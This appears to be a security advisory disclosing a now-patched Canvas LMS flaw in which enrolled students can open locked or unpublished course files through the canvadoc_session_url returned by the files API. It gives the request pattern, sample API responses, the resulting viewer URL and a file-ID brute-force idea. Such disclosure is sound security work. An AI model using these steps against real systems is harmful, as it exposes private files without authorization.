Important Notice: This vulnerability has been patched as of 10/15/2022.
Our researcher has found that due to the absent file permission checking in the API, the value of canvadoc_session_url
makes it possible for a student
to view any uploaded files in a course the student has enrolled, even if the file belongs to an unpublished module, is locked, or is locked and belongs to an unpublished module.
- The Access Token generated by Canvas LMS behaves non-discriminatively for all roles.
GET https://canvas.example.com/api/v1/courses/{COURSE_ID}/files/{FILE_ID}
always return a JSON object containing a validcanvadoc_session_url
property when the owner of the Access Token is enrolled in the{COURSE_ID}
and{FILE_ID}
specifies a file in{COURSE_ID}
.
canvadoc_session_url
from the JSON object behaves non-discriminatively for all roles.- For all roles (
teacher
,TA
,student
),canvadoc_session_url
provides the path (301 redirects) to a DocViewer page. The DocView is believed to be used by Canvas by being loaded in an iframe.
- For all roles (
It would be trivial to create a bruteforce attack for a specific {COURSE_ID}
to get the {TARGET_FILE_ID}
:
GET https://canvas.example.com/api/v1/courses/{COURSE_ID}/files/{TARGET_FILE_ID}
by bruteforcing all possible {TARGET_FILE_ID}
values. When the {TARGET_FILE_ID}
is not exist, API returns:
{
"errors": [
{
"message": "The specified resource does not exist."
}
]
}
Otherwise, API returns an JSON object containing the detailed file info:
{
"id": 153481443,
"uuid": "VAfrXT0AGMUqmxfdMP90voq9hJCb0gOvOGQ9q4G4",
"folder_id": 31307712,
"display_name": "unsafe3.txt",
"filename": "unsafe3.txt",
"upload_status": "success",
"content-type": "text/plain",
"url": "",
"size": 18,
"created_at": "2021-09-25T03:39:19Z",
"updated_at": "2021-09-25T04:16:51Z",
"unlock_at": null,
"locked": false,
"hidden": false,
"lock_at": null,
"hidden_for_user": false,
"thumbnail_url": "",
"modified_at": "2021-09-25T03:39:19Z",
"mime_class": "text",
"media_entry_id": null,
"locked_for_user": true,
"lock_info": {
"asset_string": "attachment_153481443",
"context_module": {
"id": 7687041,
"context_id": 3550057,
"context_type": "Course",
"name": "Private Locked Module",
"position": 4,
"prerequisites": [],
"completion_requirements": [],
"created_at": "2021-09-25T03:30:02Z",
"updated_at": "2021-09-25T04:16:51Z",
"workflow_state": "unpublished",
"deleted_at": null,
"unlock_at": "2021-11-24T07:00:00Z",
"migration_id": null,
"require_sequential_progress": false,
"cloned_item_id": null,
"completion_events": null,
"requirement_count": null,
"root_account_id": 10
},
"unlock_at": "2021-11-24T07:00:00Z"
},
"lock_explanation": "This file is locked until Nov 24 at 12am.",
"canvadoc_session_url": "/api/v1/canvadoc_session?blob=%7B%22user_id%22:70000032029297,%22attachment_id%22:153481443,%22type%22:%22canvadoc%22%7D&hmac=e423b38ecb275dca5f694e941ab1beaa4d03453d",
"crocodoc_session_url": null
}
By appending canvadoc_session_url
part to the hostname https://canvas.examples.com
, we get something like
https://canvas.examples.com/api/v1/canvadoc_session?blob=%7B%22user_id%22:70000032029297,%22attachment_id%22:153481443,%22type%22:%22canvadoc%22%7D&hmac=e423b38ecb275dca5f694e941ab1beaa4d03453d
Which redirects to a DovViewer showing the contents of the file, even if the file is current UNPUBLISHED
or even LOCKED
.
The attack efficiency could be greatly amplified if the attacker could make an educated guess for the FileID
, which is serialized
for each Canvas LMS instance installation.